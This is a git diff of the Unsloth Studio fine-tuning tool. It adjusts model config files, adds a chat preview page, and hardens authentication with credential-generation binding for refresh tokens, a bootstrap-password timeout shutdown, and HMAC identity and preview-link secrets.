max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -36,6 +35,7 @@ lora: - "down_proj" use_rslora: false use_loftq: false + use_dora: false logging: enable_wandb: false @@ -45,7 +45,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.6 top_p: 0.95 top_k: 20 diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml index ef52fad763..23e2b89dd0 100644 --- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml +++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml @@ -4,7 +4,6 @@ # added inference parameters from unsloth guides training: - trust_remote_code: false max_seq_length: 2048 # num_epochs: 4 num_epochs: 0 @@ -30,6 +29,7 @@ lora: - "all-linear" use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true @@ -43,7 +43,6 @@ logging: log_frequency: 10 inference: - trust_remote_code: false temperature: 0.7 top_p: 0.8 top_k: 20 diff --git a/studio/backend/assets/configs/vision_lora.yaml b/studio/backend/assets/configs/vision_lora.yaml index 063a970316..a06f971523 100644 --- a/studio/backend/assets/configs/vision_lora.yaml +++ b/studio/backend/assets/configs/vision_lora.yaml @@ -30,6 +30,7 @@ lora: vision_all_linear: true use_rslora: false use_loftq: false + use_dora: false finetune_vision_layers: true finetune_language_layers: true finetune_attention_modules: true diff --git a/studio/backend/assets/preview_page.html b/studio/backend/assets/preview_page.html new file mode 100644 index 0000000000..36483a824c --- /dev/null +++ b/studio/backend/assets/preview_page.html @@ -0,0 +1,403 @@ + + + + + + __TITLE__ - Unsloth + + + +
+ Unsloth__TITLE__ +
+
+
+

Chat with your model

+

Fine-tuned with Unsloth

+
+
+
+
+
+
+ + +
+
Served by Unsloth Studio
+
+
+ + + diff --git a/studio/backend/auth/authentication.py b/studio/backend/auth/authentication.py index 9dd56489eb..2e9520827e 100644 --- a/studio/backend/auth/authentication.py +++ b/studio/backend/auth/authentication.py @@ -11,11 +11,12 @@ import jwt from .storage import ( API_KEY_PREFIX, + credential_generation, get_jwt_secret, get_user_and_secret, load_jwt_secret, save_refresh_token, - validate_api_key, + validate_api_key_with_credential, verify_refresh_token, ) @@ -54,11 +55,14 @@ def create_access_token( expires_delta: Optional[timedelta] = None, *, desktop: bool = False, + secret: Optional[str] = None, ) -> str: """ Create a signed JWT for the given subject (e.g. username). - Valid across restarts: the signing secret is stored in SQLite. + Valid across restarts: the signing secret is stored in SQLite. Callers that + already verified a credential pass ``secret`` so a rotation landing mid-request + cannot sign the token with the credential that just replaced it. """ to_encode = {"sub": subject} if desktop: @@ -69,7 +73,7 @@ def create_access_token( to_encode.update({"exp": expire}) return jwt.encode( to_encode, - _get_secret_for_subject(subject), + secret if secret is not None else _get_secret_for_subject(subject), algorithm = ALGORITHM, ) @@ -96,15 +100,28 @@ def is_desktop_access_token(token: str) -> bool: return payload.get("sub") == subject and payload.get("desktop") is True -def create_refresh_token(subject: str, *, desktop: bool = False) -> str: +def create_refresh_token( + subject: str, + *, + desktop: bool = False, + secret: Optional[str] = None, +) -> str: """ Create a random refresh token, store its hash in SQLite, and return it. Refresh tokens are opaque (not JWTs); expire after REFRESH_TOKEN_EXPIRE_DAYS. + ``secret`` stamps the token with the credential version the caller verified, + so a rotation cannot leave a token minted from the replaced credential valid. """ token = secrets.token_urlsafe(48) expires_at = datetime.now(timezone.utc) + timedelta(days = REFRESH_TOKEN_EXPIRE_DAYS) - save_refresh_token(token, subject, expires_at.isoformat(), is_desktop = desktop) + save_refresh_token( + token, + subject, + expires_at.isoformat(), + is_desktop = desktop, + secret_gen = credential_generation(secret) if secret is not None else None, + ) return token @@ -137,37 +154,85 @@ def reload_secret() -> None: async def get_current_subject(credentials: HTTPAuthorizationCredentials = Depends(security)) -> str: """Validate JWT and require the password-change flow to be completed.""" - return await _get_current_subject( + subject, _generation = await _get_current_credential( credentials, allow_password_change = False, ) + return subject + + +async def get_current_credential( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> Tuple[str, Optional[str]]: + """As get_current_subject, but also returns the credential generation. + + For routes that persist a new credential and must not do so on behalf of one + a concurrent reset has revoked. + """ + return await _get_current_credential( + credentials, + allow_password_change = False, + ) + + +async def authenticated_via_api_key( + credentials: HTTPAuthorizationCredentials = Depends(security), +) -> bool: + """True when the caller used an sk-unsloth API key, not a UI session JWT. + + Lets routes treat programmatic API callers differently from the Unsloth UI + (e.g. refuse a teardown the UI would allow). + """ + return bool(credentials and credentials.credentials.startswith(API_KEY_PREFIX)) async def get_current_subject_allow_password_change( credentials: HTTPAuthorizationCredentials = Depends(security), ) -> str: """Validate JWT but allow access to the password-change endpoint.""" - return await _get_current_subject( + subject, _generation = await _get_current_credential( credentials, allow_password_change = True, ) + return subject -async def _get_current_subject( +# The literal the examples ship with; pasted unedited more often than a revoked key. +API_KEY_PLACEHOLDER = f"{API_KEY_PREFIX}YOUR_KEY" + + +def _invalid_api_key_detail(token: str) -> str: + """Why the key failed. Only the example placeholder is called out; every real + key gets one indistinguishable message, so this leaks no key existence.""" + if token == API_KEY_PLACEHOLDER: + return ( + "This is the placeholder key from the example. Create an API key in " + f"Unsloth Studio under Settings > API and use it in place of {API_KEY_PLACEHOLDER}." + ) + return "Invalid or expired API key" + + +async def _get_current_credential( credentials: HTTPAuthorizationCredentials, *, allow_password_change: bool -) -> str: - """FastAPI dependency: validate the JWT and return the subject. Use on protected routes.""" +) -> Tuple[str, Optional[str]]: + """Validate the bearer and return ``(subject, credential generation)``. + + The generation is the credential version this request actually authenticated + against. Routes that persist new credentials must bind their write to it, or + a reset landing mid-request would bless what it just revoked. + """ token = credentials.credentials # --- API key path (sk-unsloth-...) --- if token.startswith(API_KEY_PREFIX): - username = validate_api_key(token) - if username is None: + verified = validate_api_key_with_credential(token) + if verified is None: raise HTTPException( status_code = status.HTTP_401_UNAUTHORIZED, - detail = "Invalid or expired API key", + detail = _invalid_api_key_detail(token), ) - return username + username, secret = verified + return username, credential_generation(secret) # --- JWT path --- subject = _decode_subject_without_verification(token) @@ -198,7 +263,7 @@ async def _get_current_subject( status_code = status.HTTP_403_FORBIDDEN, detail = "Password change required", ) - return subject + return subject, credential_generation(jwt_secret) except jwt.InvalidTokenError: raise HTTPException( status_code = status.HTTP_401_UNAUTHORIZED, diff --git a/studio/backend/auth/bootstrap_timeout.py b/studio/backend/auth/bootstrap_timeout.py new file mode 100644 index 0000000000..97a8086f04 --- /dev/null +++ b/studio/backend/auth/bootstrap_timeout.py @@ -0,0 +1,145 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Auto-shutdown for an exposed first-run Unsloth whose admin password is unchanged. + +On a fresh install the seeded bootstrap admin password stays a valid login +credential until first login changes it. When the web UI is put on the network +(``--secure`` / ``0.0.0.0``) and nobody completes that first-login change within +a deadline, tear Unsloth down so a fresh, unconfigured instance does not stay +publicly reachable indefinitely. If the password was changed, Unsloth keeps +running. + +Scope: web UI launches only (never ``--api-only``, which authenticates by API +key rather than the admin password, and never Colab). Configurable via +``UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT`` (seconds; default 3600; ``0`` disables). +""" + +import os +import sys +import threading + +BOOTSTRAP_TIMEOUT_ENV_VAR = "UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT" +DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS = 3600 + + +def bootstrap_timeout_seconds(env = None) -> int: + """Resolve the deadline in seconds. ``0`` (or invalid/negative) disables it. + + A malformed value falls back to the default rather than disabling, so a typo + cannot silently remove the protection. + """ + env = os.environ if env is None else env + raw = env.get(BOOTSTRAP_TIMEOUT_ENV_VAR) + if raw is None or raw.strip() == "": + return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + try: + value = int(raw) + except ValueError: + return DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + return value if value > 0 else 0 + + +def _is_exposed_bind(host: str, secure: bool) -> bool: + """True when this launch puts the web UI on the network (tunnel or non-loopback).""" + if secure: + return True + if host in ("0.0.0.0", "::"): + return True + try: + from utils.host_policy import is_external_host + except Exception: + return False + return bool(is_external_host(host)) + + +def should_arm_bootstrap_timeout( + *, + host: str, + secure: bool, + api_only: bool, + frontend_served: bool, + is_colab: bool, + requires_change: bool, + timeout_seconds: int, +) -> bool: + """Whether to arm the deadline: only for an exposed web UI whose seeded admin + password is still unchanged. Pure decision (no I/O) for cheap unit testing.""" + if timeout_seconds <= 0: + return False + if api_only or not frontend_served or is_colab: + return False + if not requires_change: + return False + return _is_exposed_bind(host, secure) + + +def _format_duration(seconds: int) -> str: + """Human-friendly duration for the shutdown message (seconds under a minute).""" + + def _plural(n: int, unit: str) -> str: + return f"{n} {unit}{'' if n == 1 else 's'}" + + if seconds < 60: + return _plural(seconds, "second") + minutes, rem = divmod(seconds, 60) + label = _plural(minutes, "minute") + if rem: + label += f" {_plural(rem, 'second')}" + return label + + +def enforce_bootstrap_password_deadline( + storage, + trigger_shutdown, + *, + timeout_seconds: int, + logger = None, +) -> bool: + """Deadline handler: shut down iff the seeded admin password is still unchanged. + + Returns True if it shut Unsloth down, False if it left it running (the + password was changed in time). + """ + try: + still_default = storage.requires_password_change(storage.DEFAULT_ADMIN_USERNAME) + except Exception: + return False + if not still_default: + return False # password changed in time -> leave Unsloth running + + message = ( + "\nUnsloth Studio was exposed on the network but its default admin " + f"password was not changed within {_format_duration(timeout_seconds)}. " + "Shutting down to avoid leaving an unsecured public instance running.\n" + "Next time, sign in and change the password on first login, or set " + f"{BOOTSTRAP_TIMEOUT_ENV_VAR}=0 to disable this timeout." + ) + if logger is not None: + logger.warning(message) + print(message, file = sys.stderr, flush = True) + try: + trigger_shutdown() + except Exception as e: # shutdown is best-effort; never raise from the timer + if logger is not None: + logger.warning("Bootstrap-timeout shutdown failed: %s", e) + return True + + +def arm_bootstrap_timeout( + storage, + trigger_shutdown, + *, + timeout_seconds: int, + logger = None, +) -> "threading.Timer": + """Start a daemon timer that enforces the deadline. Returns the Timer.""" + timer = threading.Timer( + timeout_seconds, + enforce_bootstrap_password_deadline, + args = (storage, trigger_shutdown), + kwargs = {"timeout_seconds": timeout_seconds, "logger": logger}, + ) + timer.daemon = True + timer.start() + return timer diff --git a/studio/backend/auth/storage.py b/studio/backend/auth/storage.py index fa5b985513..6cf4d44834 100644 --- a/studio/backend/auth/storage.py +++ b/studio/backend/auth/storage.py @@ -4,9 +4,13 @@ """SQLite storage for auth data (user credentials + JWT secret).""" import hashlib +import hmac +import ipaddress import os import secrets import sqlite3 +import tempfile +import threading from datetime import datetime, timezone from typing import Optional, Tuple @@ -15,6 +19,10 @@ from utils.paths import auth_db_path, ensure_dir DB_PATH = auth_db_path() DEFAULT_ADMIN_USERNAME = "unsloth" +# Single source for the password policy; models/auth.py ChangePasswordRequest +# and the terminal prompt both enforce it. Keep the unsloth_cli mirror in sync. +MIN_PASSWORD_LENGTH = 8 + # Plaintext bootstrap password file beside auth.db, deleted on first password # change so the credential never lingers on disk. _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password" @@ -23,6 +31,97 @@ _BOOTSTRAP_PW_PATH = DB_PATH.parent / ".bootstrap_password" _bootstrap_password: Optional[str] = None +def _bootstrap_file_bytes(password: str) -> bytes: + """Exact on-disk form: the secret plus one LF. + + Bytes, not text: text mode writes CRLF on Windows, and `$(cat ...)` strips + the LF but leaves the CR attached to the credential. + """ + return (password + "\n").encode("utf-8") + + +def _persist_bootstrap_password(password: str) -> None: + """Atomically write the bootstrap password 0600, LF terminated on every OS. + + A partial write would destroy the only plaintext recovery credential. + """ + fd, tmp_name = tempfile.mkstemp( + prefix = f".{_BOOTSTRAP_PW_PATH.name}.", dir = _BOOTSTRAP_PW_PATH.parent + ) + try: + with os.fdopen(fd, "wb") as f: + f.write(_bootstrap_file_bytes(password)) + try: + os.chmod(tmp_name, 0o600) + except OSError: + pass + os.replace(tmp_name, _BOOTSTRAP_PW_PATH) + except BaseException: + try: + os.unlink(tmp_name) + except OSError: + pass + raise + + +def _normalise_bootstrap_file(raw: bytes, password: str) -> None: + """Append the LF a pre-newline release left off. + + Append-only, and only when the file is exactly the credential: + clear_bootstrap_password() may unlink or (when unlink fails, notably on + Windows while this descriptor is open) truncate through another descriptor + after we read, so a rewrite could restore revoked plaintext. An append + cannot: worst case is a lone "\\n" over a cleared file, which strips back to + no bootstrap password. Pre-newline releases wrote no terminator at all, so + that is the only shape in the wild; anything else reads fine, since every + reader strips, and is left alone. + """ + if raw != password.encode("utf-8"): + return + + # O_BINARY: without it Windows opens in text mode and turns the LF straight + # back into CRLF, the bug being fixed. + fd = os.open( + _BOOTSTRAP_PW_PATH, + os.O_WRONLY | os.O_APPEND | getattr(os, "O_BINARY", 0), + ) + try: + os.write(fd, b"\n") + try: + os.fchmod(fd, 0o600) + except (AttributeError, OSError): + # fchmod only reached Windows in 3.13. + pass + finally: + os.close(fd) + + +def _read_persisted_bootstrap_password() -> Optional[str]: + """Read the persisted password, normalising the file if it is malformed.""" + if not _BOOTSTRAP_PW_PATH.is_file(): + return None + + # No caller handles a raise, so an unreadable file has to mean "no bootstrap + # password", not a dead backend. We write UTF-8, so undecodable bytes are + # damage whose plaintext is worthless anyway. + try: + raw = _BOOTSTRAP_PW_PATH.read_bytes() + password = raw.decode("utf-8").strip() + except (OSError, UnicodeDecodeError): + return None + if not password: + return None + + # Older releases wrote no terminator; best-effort, a read-only auth dir must + # not fail startup. + if raw != _bootstrap_file_bytes(password): + try: + _normalise_bootstrap_file(raw, password) + except OSError: + pass + return password + + def generate_bootstrap_password() -> str: """Generate a 4-word diceware passphrase and persist it to disk. @@ -36,10 +135,10 @@ def generate_bootstrap_password() -> str: return _bootstrap_password # Persisted from a previous run? - if _BOOTSTRAP_PW_PATH.is_file(): - _bootstrap_password = _BOOTSTRAP_PW_PATH.read_text().strip() - if _bootstrap_password: - return _bootstrap_password + persisted = _read_persisted_bootstrap_password() + if persisted: + _bootstrap_password = persisted + return _bootstrap_password # First startup: generate a fresh passphrase. import diceware @@ -50,11 +149,7 @@ def generate_bootstrap_password() -> str: # Persist so the same passphrase survives restarts until password change. ensure_dir(_BOOTSTRAP_PW_PATH.parent) - _BOOTSTRAP_PW_PATH.write_text(_bootstrap_password) - try: - os.chmod(_BOOTSTRAP_PW_PATH, 0o600) - except OSError: - pass + _persist_bootstrap_password(_bootstrap_password) return _bootstrap_password @@ -65,22 +160,54 @@ def get_bootstrap_password() -> Optional[str]: def _load_bootstrap_password() -> Optional[str]: - """Load an existing bootstrap password without creating one.""" + """Load an existing bootstrap password without creating one. + + Upgrades take this path, not generate_bootstrap_password() + (ensure_default_admin short-circuits once the admin row exists), so it has + to normalise too. + """ global _bootstrap_password - _bootstrap_password = None - if _BOOTSTRAP_PW_PATH.is_file(): - bootstrap_password = _BOOTSTRAP_PW_PATH.read_text().strip() - if bootstrap_password: - _bootstrap_password = bootstrap_password + _bootstrap_password = _read_persisted_bootstrap_password() return _bootstrap_password def clear_bootstrap_password() -> None: - """Delete the persisted bootstrap password file (called after password change).""" + """Delete the persisted bootstrap password file (after a password change). + + Best-effort: the new hash is already committed, so a locked/undeletable file + (Windows AV, read-only auth dir) must not fail the change. + """ global _bootstrap_password _bootstrap_password = None if _BOOTSTRAP_PW_PATH.is_file(): - _BOOTSTRAP_PW_PATH.unlink(missing_ok = True) + try: + _BOOTSTRAP_PW_PATH.unlink(missing_ok = True) + except OSError as e: + # Removal failed (Windows AV, read-only auth dir). The hash is already + # committed, so don't fail the change -- but truncate the file so its + # stale plaintext can't be re-seeded by generate_bootstrap_password() + # if auth.db is ever recreated. + try: + _BOOTSTRAP_PW_PATH.write_text("", encoding = "utf-8") + cleared = True + except OSError: + cleared = False + import sys + + if cleared: + message = ( + f"Warning: could not delete {_BOOTSTRAP_PW_PATH.name} ({e}); " + "cleared its contents so the old bootstrap password cannot be reused." + ) + else: + # Neither removed nor truncated: stale plaintext is still on disk + # and would be reused if auth.db is reset. Don't claim otherwise. + message = ( + f"Warning: could not delete or clear {_BOOTSTRAP_PW_PATH.name} ({e}); " + "its old bootstrap password is still on disk. Remove it manually to " + "prevent reuse after a reset." + ) + print(message, file = sys.stderr, flush = True) def _hash_token(token: str) -> str: @@ -94,11 +221,55 @@ def _hash_token(token: str) -> str: return hashlib.sha256(token.encode("utf-8")).hexdigest() +class CredentialRotated(Exception): + """A password reset revoked the credential this request authenticated with.""" + + +def credential_generation(jwt_secret: str) -> str: + """Marker for the credential version a refresh token was issued under. + + Every password change rotates ``jwt_secret``, so a token stamped with the + previous one is rejected even if it was inserted after the revoking DELETE. + """ + return hashlib.sha256(jwt_secret.encode("utf-8")).hexdigest() + + +def _current_secret(conn: sqlite3.Connection, username: str) -> Optional[str]: + row = conn.execute( + "SELECT jwt_secret FROM auth_user WHERE username = ?", (username,) + ).fetchone() + return row["jwt_secret"] if row else None + + +def _current_generation(conn: sqlite3.Connection, username: str) -> Optional[str]: + secret = _current_secret(conn, username) + return credential_generation(secret) if secret is not None else None + + def get_connection() -> sqlite3.Connection: """Get a connection to the auth database, creating tables if needed.""" ensure_dir(DB_PATH.parent) conn = sqlite3.connect(DB_PATH) + # Keep the auth dir + DB private (they hold the JWT/identity secrets and + # password hashes); sqlite3.connect would otherwise create the DB 0644 under + # a 022 umask, letting another OS user read the identity secret and forge proofs. + for _path, _mode in ((DB_PATH.parent, 0o700), (DB_PATH, 0o600)): + try: + os.chmod(_path, _mode) + except OSError: + pass conn.row_factory = sqlite3.Row + # WAL lets token reads run concurrently with refresh-token writes; + # busy_timeout bounds lock waits. Matches the other Unsloth SQLite stores. + # Set busy_timeout first: switching journal_mode needs a lock, so if a + # refresh-token write already holds one, journal_mode=WAL raises SQLITE_BUSY; + # with busy_timeout already in effect it waits instead of failing and leaving + # this connection on SQLite's default zero lock wait. + try: + conn.execute("PRAGMA busy_timeout=5000") + conn.execute("PRAGMA journal_mode=WAL") + except sqlite3.Error: + pass conn.execute( """ CREATE TABLE IF NOT EXISTS auth_user ( @@ -118,7 +289,8 @@ def get_connection() -> sqlite3.Connection: token_hash TEXT NOT NULL, username TEXT NOT NULL, expires_at TEXT NOT NULL, - is_desktop INTEGER NOT NULL DEFAULT 0 + is_desktop INTEGER NOT NULL DEFAULT 0, + secret_gen TEXT ); """ ) @@ -157,6 +329,8 @@ def get_connection() -> sqlite3.Connection: refresh_columns = {row["name"] for row in conn.execute("PRAGMA table_info(refresh_tokens)")} if "is_desktop" not in refresh_columns: conn.execute("ALTER TABLE refresh_tokens ADD COLUMN is_desktop INTEGER NOT NULL DEFAULT 0") + if "secret_gen" not in refresh_columns: + conn.execute("ALTER TABLE refresh_tokens ADD COLUMN secret_gen TEXT") conn.commit() return conn @@ -208,6 +382,114 @@ def _get_or_create_api_key_pbkdf2_salt() -> bytes: return salt +# Secret answering the /api/auth/identity challenge (HMAC(secret, nonce)). Lives +# in this same-user DB so a port squatter or remote/fake server can't forge a +# proof. Separate from the per-user JWT secret. +_IDENTITY_SECRET_DB_KEY = "studio_identity_secret" +_identity_secret_cache: Optional[bytes] = None + + +def get_or_create_identity_secret() -> bytes: + """Return the identity secret (hex 32-byte row in app_secrets), creating it once.""" + global _identity_secret_cache + if _identity_secret_cache is not None: + return _identity_secret_cache + + conn = get_connection() + try: + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_IDENTITY_SECRET_DB_KEY,), + ).fetchone() + if row is None: + conn.execute( + "INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)", + (_IDENTITY_SECRET_DB_KEY, secrets.token_hex(32)), + ) + conn.commit() + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_IDENTITY_SECRET_DB_KEY,), + ).fetchone() + secret = bytes.fromhex(row["value"]) + finally: + conn.close() + + _identity_secret_cache = secret + return secret + + +def compute_identity_proof(nonce: bytes, host: str, port: int) -> str: + """HMAC-SHA256 proof that the caller holds this install's identity secret, + bound to the loopback address and port the connection landed on. A proof + relayed from an Unsloth on a different address/port (a squatter proxying to the + real one, e.g. localhost resolving to ::1 while Unsloth is on 127.0.0.1) was + computed for that other endpoint and won't match the one the client dialed.""" + try: + host = ipaddress.ip_address(host).compressed # normalise 127.0.0.1 / ::1 forms + except ValueError: + host = (host or "").lower() + msg = b"|".join([nonce, host.encode(), str(int(port)).encode()]) + return hmac.new(get_or_create_identity_secret(), msg, hashlib.sha256).hexdigest() + + +# Capability secret for public ``/p`` preview share links. HMAC(secret, ref) +# turns the deterministic preview ref into an unguessable bearer capability, so a +# guessed run/checkpoint name can't reach inference. Dedicated (not the per-user +# JWT secret) so rotating it revokes every shared link without touching logins. +_PREVIEW_LINK_SECRET_DB_KEY = "preview_link_secret" +_preview_link_secret_cache: Optional[bytes] = None + + +def get_or_create_preview_link_secret() -> bytes: + """Return the preview-link signing secret (hex 32-byte row in app_secrets), creating it once.""" + global _preview_link_secret_cache + if _preview_link_secret_cache is not None: + return _preview_link_secret_cache + + conn = get_connection() + try: + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_PREVIEW_LINK_SECRET_DB_KEY,), + ).fetchone() + if row is None: + conn.execute( + "INSERT OR IGNORE INTO app_secrets (key, value) VALUES (?, ?)", + (_PREVIEW_LINK_SECRET_DB_KEY, secrets.token_hex(32)), + ) + conn.commit() + row = conn.execute( + "SELECT value FROM app_secrets WHERE key = ?", + (_PREVIEW_LINK_SECRET_DB_KEY,), + ).fetchone() + secret = bytes.fromhex(row["value"]) + finally: + conn.close() + + _preview_link_secret_cache = secret + return secret + + +def rotate_preview_link_secret() -> bytes: + """Rotate the preview-link secret, immediately revoking every outstanding ``/p`` share link.""" + global _preview_link_secret_cache + new_secret_hex = secrets.token_hex(32) + conn = get_connection() + try: + conn.execute( + "INSERT OR REPLACE INTO app_secrets (key, value) VALUES (?, ?)", + (_PREVIEW_LINK_SECRET_DB_KEY, new_secret_hex), + ) + conn.commit() + finally: + conn.close() + + secret = bytes.fromhex(new_secret_hex) + _preview_link_secret_cache = secret + return secret + + _API_KEY_PBKDF2_ITERATIONS = 100_000 DESKTOP_SECRET_PREFIX = "desktop-" _DESKTOP_SECRET_HASH_KEY = "desktop_secret_hash" @@ -236,6 +518,29 @@ def _pbkdf2_desktop_secret(raw_secret: str) -> str: return _pbkdf2_api_key(raw_secret) +# Memoize the deterministic raw-key -> PBKDF2-hash derivation so the 100k-round +# KDF runs once per key instead of on every authenticated request. Keyed by a +# salted HMAC of the key (not the key itself); revocation/expiry are still +# enforced by the SQLite read on every call, so a cache hit only skips the KDF. +# Only keys present in the DB are cached, so unknown-key spam can't grow it. +_api_key_hash_cache: dict[str, str] = {} +_API_KEY_HASH_CACHE_MAX = 4096 +_api_key_hash_cache_lock = threading.Lock() + + +def _api_key_cache_id(raw_key: str) -> str: + """Cache id for a raw key: salted HMAC-SHA256 (not the key itself).""" + return hmac.new( + _get_or_create_api_key_pbkdf2_salt(), raw_key.encode("utf-8"), hashlib.sha256 + ).hexdigest() + + +def _reset_api_key_hash_cache() -> None: + """Drop memoized derivations (tests / salt change).""" + with _api_key_hash_cache_lock: + _api_key_hash_cache.clear() + + def is_initialized() -> bool: """Check if auth is ready for login (at least one user exists in DB).""" conn = get_connection() @@ -394,27 +699,60 @@ def ensure_default_admin() -> bool: return False -def update_password(username: str, new_password: str) -> bool: - """Update password, clear first-login requirement, rotate JWT secret.""" +def update_password( + username: str, + new_password: str, + *, + revoke_refresh_tokens: bool = False, + expect_password_hash: Optional[str] = None, +) -> Optional[str]: + """Update password, clear first-login requirement, rotate JWT secret. + + Returns the new JWT secret, or None when nothing was updated. Callers that + mint tokens for the caller must sign with the returned secret: re-reading it + would pick up a reset that landed between this commit and the mint. + + ``revoke_refresh_tokens`` deletes the user's refresh tokens in the SAME + transaction: a separate delete could fail after the password commit and + leave a pre-change token still able to mint access tokens. + + ``expect_password_hash`` makes the write conditional on the credential the + caller verified still being current, so a request that checked the old + password cannot overwrite a reset that landed while it was in flight. + Returns False when the credential moved underneath it. + """ from .hashing import hash_password salt, pwd_hash = hash_password(new_password) jwt_secret = secrets.token_urlsafe(64) conn = get_connection() try: - cursor = conn.execute( - """ - UPDATE auth_user - SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 - WHERE username = ? - """, - (salt, pwd_hash, jwt_secret, username), - ) + if expect_password_hash is None: + cursor = conn.execute( + """ + UPDATE auth_user + SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 + WHERE username = ? + """, + (salt, pwd_hash, jwt_secret, username), + ) + else: + cursor = conn.execute( + """ + UPDATE auth_user + SET password_salt = ?, password_hash = ?, jwt_secret = ?, must_change_password = 0 + WHERE username = ? AND password_hash = ? + """, + (salt, pwd_hash, jwt_secret, username, expect_password_hash), + ) + if revoke_refresh_tokens and cursor.rowcount > 0: + conn.execute("DELETE FROM refresh_tokens WHERE username = ?", (username,)) conn.commit() if cursor.rowcount > 0: clear_bootstrap_password() clear_desktop_secret() - return cursor.rowcount > 0 + return jwt_secret + return None finally: conn.close() @@ -425,35 +763,49 @@ def save_refresh_token( expires_at: str, *, is_desktop: bool = False, + secret_gen: Optional[str] = None, ) -> None: """ Store a hashed refresh token with its associated username and expiry. + + ``secret_gen`` binds the token to a credential version; it defaults to the + current one, and callers that already verified a credential must pass the + version they verified rather than let this re-read a rotated one. """ token_hash = _hash_token(token) conn = get_connection() try: + if secret_gen is None: + secret_gen = _current_generation(conn, username) conn.execute( """ - INSERT INTO refresh_tokens (token_hash, username, expires_at, is_desktop) - VALUES (?, ?, ?, ?) + INSERT INTO refresh_tokens (token_hash, username, expires_at, is_desktop, secret_gen) + VALUES (?, ?, ?, ?, ?) """, - (token_hash, username, expires_at, int(is_desktop)), + (token_hash, username, expires_at, int(is_desktop), secret_gen), ) conn.commit() finally: conn.close() -def consume_refresh_token(token: str) -> Optional[Tuple[str, bool]]: +def consume_refresh_token(token: str) -> Optional[Tuple[str, bool, str]]: """Atomically validate-and-delete a refresh token for single-use rotation. DELETE RETURNING fuses validate and delete into one statement so two - concurrent refresh requests cannot both consume the same token. + concurrent refresh requests cannot both consume the same token. Returns + ``(username, is_desktop, jwt_secret)``; the caller must mint the replacement + tokens against that secret so a rotation landing mid-refresh cannot issue a + post-rotation session from a pre-rotation token. """ token_hash = _hash_token(token) now = datetime.now(timezone.utc).isoformat() conn = get_connection() try: + # One transaction with the delete: an unstamped legacy row has no + # generation to compare, so reading the credential after committing would + # hand a reset's new secret to a token issued before it. + conn.execute("BEGIN IMMEDIATE") conn.execute( "DELETE FROM refresh_tokens WHERE expires_at < ?", (now,), @@ -462,15 +814,21 @@ def consume_refresh_token(token: str) -> Optional[Tuple[str, bool]]: """ DELETE FROM refresh_tokens WHERE token_hash = ? AND expires_at >= ? - RETURNING username, is_desktop + RETURNING username, is_desktop, secret_gen """, (token_hash, now), ) row = cur.fetchone() - conn.commit() if row is None: + conn.commit() return None - return row["username"], bool(row["is_desktop"]) + secret = _current_secret(conn, row["username"]) + conn.commit() + if secret is None: + return None + if row["secret_gen"] is not None and row["secret_gen"] != credential_generation(secret): + return None + return row["username"], bool(row["is_desktop"]), secret finally: conn.close() @@ -494,7 +852,7 @@ def verify_refresh_token(token: str) -> Optional[Tuple[str, bool]]: cur = conn.execute( """ - SELECT id, username, expires_at, is_desktop FROM refresh_tokens + SELECT id, username, expires_at, is_desktop, secret_gen FROM refresh_tokens WHERE token_hash = ? """, (token_hash,), @@ -503,6 +861,13 @@ def verify_refresh_token(token: str) -> Optional[Tuple[str, bool]]: if row is None: return None + if row["secret_gen"] is not None and row["secret_gen"] != _current_generation( + conn, row["username"] + ): + conn.execute("DELETE FROM refresh_tokens WHERE id = ?", (row["id"],)) + conn.commit() + return None + # Check expiry expires_at = datetime.fromisoformat(row["expires_at"]) if datetime.now(timezone.utc) > expires_at: @@ -547,30 +912,41 @@ def create_desktop_secret() -> str: conn.close() -def validate_desktop_secret(raw_secret: str) -> Optional[str]: - """Return the real admin username when the desktop secret matches.""" +def validate_desktop_secret_with_credential(raw_secret: str) -> Optional[Tuple[str, str]]: + """Validate the desktop secret and return ``(username, jwt_secret)``. + + Both reads share one transaction so the returned secret is the credential + version the desktop secret was checked against; a reset landing mid-request + then invalidates the tokens minted from it rather than blessing them. + """ if not raw_secret.startswith(DESKTOP_SECRET_PREFIX): return None - if get_user_and_secret(DEFAULT_ADMIN_USERNAME) is None: - return None secret_hash = _pbkdf2_desktop_secret(raw_secret) conn = get_connection() try: - cur = conn.execute( + conn.execute("BEGIN") + row = conn.execute( "SELECT value FROM app_secrets WHERE key = ?", (_DESKTOP_SECRET_HASH_KEY,), - ) - row = cur.fetchone() - if row is None: + ).fetchone() + if row is None or not secrets.compare_digest(row["value"], secret_hash): return None - if not secrets.compare_digest(row["value"], secret_hash): + jwt_secret = _current_secret(conn, DEFAULT_ADMIN_USERNAME) + if jwt_secret is None: return None - return DEFAULT_ADMIN_USERNAME + return DEFAULT_ADMIN_USERNAME, jwt_secret finally: + conn.rollback() conn.close() +def validate_desktop_secret(raw_secret: str) -> Optional[str]: + """Return the real admin username when the desktop secret matches.""" + verified = validate_desktop_secret_with_credential(raw_secret) + return verified[0] if verified else None + + def clear_desktop_secret() -> None: """Remove backend-side desktop auth state.""" conn = get_connection() @@ 